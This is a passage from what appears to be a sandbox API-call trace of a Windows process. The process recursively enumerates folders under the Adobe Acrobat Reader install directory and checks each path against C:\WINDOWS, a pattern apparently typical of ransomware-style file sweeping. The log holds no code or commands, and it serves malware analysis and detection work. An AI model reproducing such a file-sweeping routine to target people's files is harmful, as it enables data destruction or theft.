HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0284.488] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0284.489] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0284.489] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0284.490] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0284.490] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0284.490] FindClose (in: hFindFile=0x380c360 | out: hFindFile=0x380c360) returned 1 [0284.490] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0284.490] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0284.541] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0284.541] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0284.542] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0284.542] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0284.573] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0284.573] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0284.573] FindClose (in: hFindFile=0x380ca20 | out: hFindFile=0x380ca20) returned 1 [0284.573] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.574] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0284.597] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0284.597] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0284.609] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0284.609] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0284.610] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0284.610] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0284.610] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0284.610] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0284.610] FindClose (in: hFindFile=0x380be20 | out: hFindFile=0x380be20) returned 1 [0284.610] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0284.610] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0284.647] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0284.647] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0284.648] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0284.648] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0284.668] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0284.668] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0284.668] FindClose (in: hFindFile=0x380bd60 | out: hFindFile=0x380bd60) returned 1 [0284.668] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.668] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 0 [0284.668] FindClose (in: hFindFile=0x380c6a0 | out: hFindFile=0x380c6a0) returned 1 [0284.668] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0284.670] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0284.702] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.702] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0284.702] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0284.702] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 0 [0284.702] FindClose (in: hFindFile=0x380c6a0 | out: hFindFile=0x380c6a0) returned 1 [0284.702] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0284.702] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0284.715] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.715] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0284.715] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0284.715] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0284.733] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.733] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0284.733] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0284.733] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 0 [0284.733] FindClose (in: hFindFile=0x380c820 | out: hFindFile=0x380c820) returned 1 [0284.733] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0284.735] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 0 [0284.735] FindClose (in: hFindFile=0x380c9e0 | out: hFindFile=0x380c9e0) returned 1 [0284.735] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0284.735] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0284.735] FindClose (in: hFindFile=0x380c660 | out: hFindFile=0x380c660) returned 1 [0284.735] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0284.735] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 0 [0284.735] FindClose (in: hFindFile=0x380c760 | out: hFindFile=0x380c760) returned 1 [0284.735] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3750060 | out: hHeap=0x640000) returned 1 [0284.736] FindNextFileW (in: hFindFile=0x65ac90, lpFindFileData=0x2e5fcf8 | out: lpFindFileData=0x2e5fcf8) returned 1 [0284.738] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0284.738] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0284.769] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.769] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0284.769] FindClose (in: hFindFile=0x380ca20 | out: hFindFile=0x380ca20) returned 1 [0284.769] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0284.769] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0284.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.772] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0284.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0284.773] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0284.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0284.774] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0284.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.776] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0284.776] FindClose (in: hFindFile=0x380c820 | out: hFindFile=0x380c820) returned 1 [0284.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0284.776] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0284.815] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.815] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0284.815] FindClose (in: hFindFile=0x380c820 | out: hFindFile=0x380c820) returned 1 [0284.815] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0284.815] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0284.891] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0284.891] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0284.892] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0284.892] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0284.892] FindClose (in: hFindFile=0x380c360 | out: hFindFile=0x380c360) returned 1 [0284.892] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0284.892] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0284.892] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0284.892] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0284.892] FindClose (in: hFindFile=0x380c360 | out: hFindFile=0x380c360) returned 1 [0284.892] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0284.906] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0284.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0284.939] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0284.939] FindClose (in: hFindFile=0x380bc20 | out: hFindFile=0x380bc20) returned 1 [0284.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0284.939] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0284.939] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0284.939] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0284.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0284.940] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0284.940] FindClose (in: hFindFile=0x380bf60 | out: hFindFile=0x380bf60) returned 1 [0284.940] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0284.940] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0284.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0284.941] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0284.941] FindClose (in: hFindFile=0x380c320 | out: hFindFile=0x380c320) returned 1 [0284.941] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0284.941] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0284.942] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0284.942] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0284.943] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0284.945] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0284.965] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0284.965] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0284.965] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0284.966] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0285.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0285.003] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0285.010] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0285.010] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0285.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0285.252] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.282] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\libs") returned 100 [0285.282] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\libs") returned 1 [0285.282] lstrlenW (lpString="libs") returned 4 [0285.282] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="libs") returned -1 [0285.282] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0285.282] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\libs") returned 100 [0285.282] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\libs\\*", lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0x380c0e0 [0285.282] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.282] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0 [0285.283] FindClose (in: hFindFile=0x380c0e0 | out: hFindFile=0x380c0e0) returned 1 [0285.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0285.283] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0285.283] FindClose (in: hFindFile=0x380be20 | out: hFindFile=0x380be20) returned 1 [0285.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0285.283] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0 [0285.283] FindClose (in: hFindFile=0x380c320 | out: hFindFile=0x380c320) returned 1 [0285.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0285.283] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.283] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core") returned 92 [0285.283] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core") returned 1 [0285.283] lstrlenW (lpString="core") returned 4 [0285.283] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="core") returned -1 [0285.283] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44f0738 [0285.283] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core") returned 92 [0285.283] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\*", lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0x380bd60 [0285.283] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.283] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.283] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev") returned 96 [0285.283] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev") returned 1 [0285.284] lstrlenW (lpString="dev") returned 3 [0285.284] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="dev") returned -1 [0285.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0285.284] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev") returned 96 [0285.284] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\*", lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0x380c0e0 [0285.284] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.284] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.284] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\cef") returned 100 [0285.284] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\cef") returned 1 [0285.284] lstrlenW (lpString="cef") returned 3 [0285.284] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="cef") returned -1 [0285.284] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0285.284] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\cef") returned 100 [0285.284] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\cef\\*", lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0x380bda0 [0285.284] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.284] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0 [0285.284] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0285.284] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0285.284] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.284] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\libs") returned 101 [0285.285] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\libs") returned 1 [0285.285] lstrlenW (lpString="libs") returned 4 [0285.285] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="libs") returned -1 [0285.285] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0285.285] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\libs") returned 101 [0285.285] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\libs\\*", lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0x380c220 [0285.285] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0285.285] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0 [0285.285] FindClose (in: hFindFile=0x380c220 | out: hFindFile=0x380c220) returned 1 [0285.285] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0285.285] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0285.285] FindClose (in: hFindFile=0x380c0e0 | out: hFindFile=0x380c0e0) returned 1 [0285.285] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0285.285] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0 [0285.285] FindClose (in: hFindFile=0x380bd60 | out: hFindFile=0x380bd60) returned 1 [0285.285] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0285.285] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0285.285] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files") returned 93 [0285.285] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files") returned 1 [0285.285] lstrlenW (lpString="files") returned 5 [0285.286] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="files") returned -1 [0285.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x44f0738 [0285.286] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files") returned 93 [0285.286] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\*", lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0x380c220 [0285.286] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.286] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0285.286] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev") returned 97 [0285.286] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev") returned 1 [0285.286] lstrlenW (lpString="dev") returned 3 [0285.286] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="dev") returned -1 [0285.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4630f28 [0285.286] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev") returned 97 [0285.286] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\*", lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0x380c2a0 [0285.286] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.286] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0285.286] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\cef") returned 101 [0285.286] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\cef") returned 1 [0285.286] lstrlenW (lpString="cef") returned 3 [0285.286] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="cef") returned -1 [0285.286] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4640f30 [0285.286] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\cef") returned 101 [0285.286] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\cef\\*", 